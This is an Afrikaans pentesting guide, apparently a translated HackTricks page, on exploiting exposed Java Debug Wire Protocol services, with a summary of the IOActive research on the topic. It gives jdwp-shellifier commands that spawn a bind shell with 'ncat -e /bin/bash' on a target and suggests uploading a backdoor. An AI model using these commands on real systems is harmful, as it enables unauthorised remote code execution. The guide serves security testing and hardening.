6.7 KiB
Pentesting JDWP - Java Debug Wire Protocol
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Uitbuiting
JDWP-uitbuiting draai om die gebrek aan outentisering en versleuteling van die protokol. Dit word gewoonlik op poort 8000 gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP-diens aktief is, reageer dit met dieselfde string om sy teenwoordigheid te bevestig. Hierdie handskommethode dien as 'n vingerafdrukmetode om JDWP-diens op die netwerk te identifiseer.
Wat prosesidentifikasie betref, kan die soektog na die string "jdwk" in Java-prosesse dui op 'n aktiewe JDWP-sessie.
Die go-to-hulpmiddel is jdwp-shellifier. Jy kan dit met verskillende parameters gebruik:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Ek het gevind dat die gebruik van --break-on 'java.lang.String.indexOf'
die uitbuiting meer stabiel maak. En as jy die kans het om 'n agterdeur na die gasheer te oplaai en dit uit te voer in plaas van 'n bevel uit te voer, sal die uitbuiting selfs meer stabiel wees.
Meer besonderhede
Dit is 'n opsomming van https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Kyk daar vir verdere besonderhede.
- JDWP Oorsig:
- Dit is 'n pakkie-gebaseerde netwerk binêre protokol, hoofsaaklik sinchronies.
- Dit het nie outentisering en enkripsie nie, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
- JDWP Handskud:
- 'n Eenvoudige handskudproses word gebruik om kommunikasie te inisieer. 'n 14-karakter ASCII-string "JDWP-Handskud" word uitgewissel tussen die Debuut (kliënt) en die Debuugee (bediener).
- JDWP Kommunikasie:
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag en CommandSet.
- CommandSet-waardes wissel van 0x40 tot 0x80 en verteenwoordig verskillende aksies en gebeure.
- Uitbuiting:
- JDWP maak dit moontlik om willekeurige klasse en bytekode te laai en aan te roep, wat sekuriteitsrisiko's inhou.
- Die artikel beskryf 'n uitbuitingsproses in vyf stappe, wat die ophaling van Java Runtime-verwysings, die stel van breekpunte en die aanroeping van metodes behels.
- Uitbuiting in die werklike lewe:
- Ten spyte van potensiële firewall-beskerming is JDWP-dienste ontdekbaar en uitbuitbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
- Die uitbuitingsskrips is getoets teen verskillende JDK-weergawes en is platform-onafhanklik, en bied betroubare afstandsbeheeruitvoering (RCE).
- Sekuriteitsimplikasies:
- Die teenwoordigheid van oop JDWP-dienste op die internet beklemtoon die noodsaaklikheid van gereelde sekuriteitsondersoeke, die deaktivering van foutopsporingsfunksies in produksie en behoorlike firewall-konfigurasies.
Verwysings:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.